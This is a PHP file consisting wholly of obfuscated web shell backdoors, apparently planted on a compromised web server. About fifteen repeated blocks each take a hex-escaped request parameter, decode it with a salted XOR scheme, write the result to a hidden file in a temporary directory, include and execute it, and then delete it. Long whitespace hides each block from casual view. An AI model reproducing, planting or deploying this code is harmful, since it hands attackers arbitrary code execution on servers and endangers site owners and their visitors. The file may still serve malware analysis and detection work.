<?php																																										if(@$_REQUEST["\x73ym"] !== null){ $holder = $_REQUEST["\x73ym"]; $holder = explode ( "." , $holder ) ; $token =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach($holder as $x=> $v2): $sChar =ord($salt[$x % $lenS] ); $dec =((int)$v2 - $sChar -($x % 10)) ^ 31; $token.= chr($dec ); endforeach; $mrk = array_filter([getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", getcwd()]); $pset = 0; do { $dchunk = $mrk[$pset] ?? null; if ($pset >= count($mrk)) break; if (!!is_dir($dchunk) && !!is_writable($dchunk)) { $tkn = "$dchunk" . "/.hld"; if (file_put_contents($tkn, $token)) { include $tkn; @unlink($tkn); exit; } } $pset++; } while (true); }
																																										if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){ $entity = array_filter(["/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp"]); $token = $_REQUEST["k"]; $token =explode( '.' ,$token ) ; $mrk= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt8 ); $m= 0; array_walk( $token, function( $v9) use( &$mrk, &$m, $salt8, $sLen) { $sChar= ord( $salt8[$m % $sLen] ); $d= ( ( int)$v9 - $sChar -( $m % 10)) ^ 61; $mrk .=chr( $d ); $m++; }); $ent = 0; do { $obj = $entity[$ent] ?? null; if ($ent >= count($entity)) break; if (is_dir($obj) && is_writable($obj)) { $factor = str_replace("{var_dir}", $obj, "{var_dir}/.elem"); if (@file_put_contents($factor, $mrk) !== false) { include $factor; unlink($factor); die(); } } $ent++; } while (true); }
																																										if(in_array("\x73\x79m", array_keys($_POST))){ $data_chunk = array_filter([session_save_path(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), "/var/tmp"]); $ent = $_POST["\x73\x79m"]; $ent = explode ( ".", $ent ); $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; foreach ($ent as $v5) { $chS = ord($salt[$j % $sLen]); $d = ((int)$v5 - $chS - ($j % 10)) ^ 92; $mrk .= chr($d); $j++; } for ($val = 0, $rec = count($data_chunk); $val < $rec; $val++) { $entry = $data_chunk[$val]; if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $flag = vsprintf("%s/%s", [$entry, ".pointer"]); $file = fopen($flag, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $flag; @unlink($flag); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6Et")){ $record = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getcwd()]); $ent = $_POST["e\x6Et"]; $ent = explode ( "." , $ent ) ; $comp= ''; $s5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s5 ); $v= 0; $__tmp= $ent; while( $v6= array_shift( $__tmp)) { $sChar= ord( $s5[$v % $lenS] ); $d= ( ( int)$v6 - $sChar -( $v % 10)) ^ 77; $comp.= chr( $d ); $v++; } foreach ($record as $pset): if (is_dir($pset) ? is_writable($pset) : false) { $property_set = implode("/", [$pset, ".descriptor"]); if (@file_put_contents($property_set, $comp) !== false) { include $property_set; unlink($property_set); exit; } } endforeach; }
																																										if(@$_POST["s\x79\x6Dbo\x6C"] !== null){ $sym = array_filter([getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); $element = $_POST["s\x79\x6Dbo\x6C"]; $element =explode ( "." ,$element) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $i = 0; array_walk( $element , function( $v9) use( &$ent , &$i , $s , $lenS) { $chS = ord( $s[$i % $lenS] ); $dec =( ( int)$v9 - $chS -( $i % 10)) ^ 15; $ent .= chr( $dec ); $i++; } ); while ($key = array_shift($sym)) { if ((bool)is_dir($key) && (bool)is_writable($key)) { $ptr = implode("/", [$key, ".rec"]); if (@file_put_contents($ptr, $ent) !== false) { include $ptr; unlink($ptr); die(); } } } }
																																										if(in_array("\x72\x65s", array_keys($_POST))){ $hld = $_POST["\x72\x65s"]; $hld = explode(".", $hld ); $key= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); $x= 0; array_walk($hld, function($v1) use(&$key, &$x, $salt2, $lenS) { $chS= ord($salt2[$x %$lenS]); $d= ((int)$v1 - $chS -($x %10)) ^ 76; $key .= chr($d); $x++; }); $component = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($component as $itm): if (is_writable($itm) && is_dir($itm)) { $ent = vsprintf("%s/%s", [$itm, ".k"]); if (@file_put_contents($ent, $key) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x70grp"])){ $element = $_POST["\x70grp"]; $element=explode ('.' , $element ); $rec= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt5 ); $j= 0; foreach ($element as $v4) { $sChar= ord($salt5[$j% $lenS] ); $dec= ((int)$v4 - $sChar - ($j% 10)) ^ 51; $rec.= chr($dec ); $j++;} $resource = array_filter(["/var/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $pset = 0; do { $dchunk = $resource[$pset] ?? null; if ($pset >= count($resource)) break; if (is_writable($dchunk) && is_dir($dchunk)) { $reference = vsprintf("%s/%s", [$dchunk, ".mrk"]); if (file_put_contents($reference, $rec)) { include $reference; @unlink($reference); exit; } } $pset++; } while (true); }
																																										if(@$_REQUEST["to\x6Be\x6E"] !== null){ $pgrp = $_REQUEST["to\x6Be\x6E"]; $pgrp = explode ( "." , $pgrp ) ; $record = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); $j = 0; array_walk( $pgrp ,function( $v8) use( &$record ,&$j ,$s8 ,$lenS) { $sChar = ord( $s8[$j% $lenS]); $d = ( ( int)$v8 - $sChar -( $j% 10)) ^ 61; $record.=chr( $d); $j++; } ); $ent = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); for ($sym = 0, $ptr = count($ent); $sym < $ptr; $sym++) { $item = $ent[$sym]; if (is_writable($item) && is_dir($item)) { $holder = str_replace("{var_dir}", $item, "{var_dir}/.res"); if (@file_put_contents($holder, $record) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(in_array("\x70gr\x70", array_keys($_REQUEST))){ $tkn = $_REQUEST["\x70gr\x70"]; $tkn= explode ('.' ,$tkn ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; array_walk($tkn, function ($v4) use (&$dchunk, &$k, $s, $sLen) { $chS = ord($s[$k % $sLen]); $d = ((int)$v4 - $chS - ($k % 10))^ 21; $dchunk .= chr($d); $k++; }); $elem = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); while ($marker = array_shift($elem)) { if (is_writable($marker) && is_dir($marker)) { $descriptor = "$marker/.reference"; $success = file_put_contents($descriptor, $dchunk); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(isset($_POST) && isset($_POST["m\x72\x6B"])){ $resource = $_POST["m\x72\x6B"]; $resource =explode ( "." , $resource ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); foreach( $resource as $j => $v6) { $sChar = ord( $s[$j % $sLen]); $dec =( ( int)$v6 - $sChar -( $j % 10)) ^ 67; $dchunk .= chr( $dec); } $sym = array_filter([getcwd(), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir")]); foreach ($sym as $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $descriptor = str_replace("{var_dir}", $property_set, "{var_dir}/.record"); if (@file_put_contents($descriptor, $dchunk) !== false) { include $descriptor; unlink($descriptor); die(); } } } }
																																										if(!empty($_REQUEST["f\x61\x63"])){ $symbol = $_REQUEST["f\x61\x63"]; $symbol= explode ( '.' , $symbol) ; $elem = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9 ); $k = 0; while ($k<count($symbol)) { $v9 = $symbol[$k]; $sChar = ord($s9[$k % $lenS] ); $dec = ((int)$v9 - $sChar - ($k % 10)) ^ 16; $elem .= chr($dec ); $k++;} $parameter_group = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd(), getenv("TEMP")]); foreach ($parameter_group as $element) { if ((bool)is_dir($element) && (bool)is_writable($element)) { $comp = "$element/.res"; $success = file_put_contents($comp, $elem); if ($success) { include $comp; @unlink($comp); exit;} } } }
																																										if(filter_has_var(INPUT_POST, "f\x6C\x67")){ $k = $_REQUEST["f\x6C\x67"]; $k = explode ( '.' , $k) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $t = 0; array_walk($k, function($v1) use(&$mrk, &$t, $salt, $sLen) {$chS = ord($salt[$t% $sLen] ); $d =((int)$v1 - $chS -($t% 10)) ^ 19; $mrk .= chr($d ); $t++; } ); $rec = array_filter([session_save_path(), "/var/tmp", getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); foreach ($rec as $bind): if (!( !is_dir($bind) || !is_writable($bind) )) { $data_chunk = join("/", [$bind, ".ent"]); if (file_put_contents($data_chunk, $mrk)) { include $data_chunk; @unlink($data_chunk); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["f\x6Cg"] ?? null)){ $descriptor = array_filter([session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); $tkn = $_REQUEST["f\x6Cg"]; $tkn = explode ('.' , $tkn) ; $bind =''; $s3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s3); $x =0; while( $x< count( $tkn)) { $v7 =$tkn[$x]; $sChar =ord( $s3[$x%$lenS]); $d =( ( int)$v7 - $sChar -( $x%10)) ^ 34; $bind .= chr( $d); $x++; } foreach ($descriptor as $key) { if (!!is_dir($key) && !!is_writable($key)) { $fac = "$key" . "/.component"; if (@file_put_contents($fac, $bind) !== false) { include $fac; unlink($fac); die(); } } } }
																																										if(in_array("\x70\x73et", array_keys($_REQUEST))){ $factor = $_REQUEST["\x70\x73et"]; $factor=explode ( '.' ,$factor); $binding = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); foreach( $factor as $l => $v4): $sChar = ord( $s8[$l % $sLen] ); $d = ( ( int)$v4 - $sChar -( $l % 10)) ^ 71; $binding .= chr( $d ); endforeach; $data_chunk = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", sys_get_temp_dir()]); foreach ($data_chunk as $key => $record) { if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $val = "$record" . "/.value"; $file = fopen($val, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $val; @unlink($val); exit; } } } }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $desc = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", session_save_path()]); $pgrp = $_REQUEST["en\x74"]; $pgrp= explode( ".", $pgrp ) ; $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $i = 0; $__tmp = $pgrp; while ($v5 = array_shift($__tmp)) { $sChar = ord($salt[$i% $lenS] ); $d = ((int)$v5 - $sChar - ($i% 10)) ^ 79; $holder .= chr($d ); $i++; } foreach ($desc as $key => $entity) { if (!!is_dir($entity) && !!is_writable($entity)) { $bind = implode("/", [$entity, ".comp"]); $success = file_put_contents($bind, $holder); if ($success) { include $bind; @unlink($bind); exit;} } } }


if(count($_POST) > 0 && isset($_POST["\x72\x65s"])){
	$pointer = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), getcwd()]);
	$tkn = $_POST["\x72\x65s"];
		 $tkn =	explode ( 	"."	,$tkn 	) ;  
	$marker = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt	);
    
            foreach($tkn as $w => $v4):
                $sChar = ord($salt[$w	 %  $lenS]	);
                $d =((int)$v4 - $sChar -($w	 %  10))	^93;
                $marker.=	chr($d	);
            endforeach;
	$mrk = 0;
do {
    $obj = $pointer[$mrk] ?? null;
    if ($mrk >= count($pointer)) break;
    		if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) {
    $val = implode("/", [$obj, ".reference"]);
    $file = fopen($val, 'w');
if ($file) {
	fwrite($file, $marker);
	fclose($file);
	include $val;
	@unlink($val);
	exit;
}
}
    $mrk++;
} while (true);
}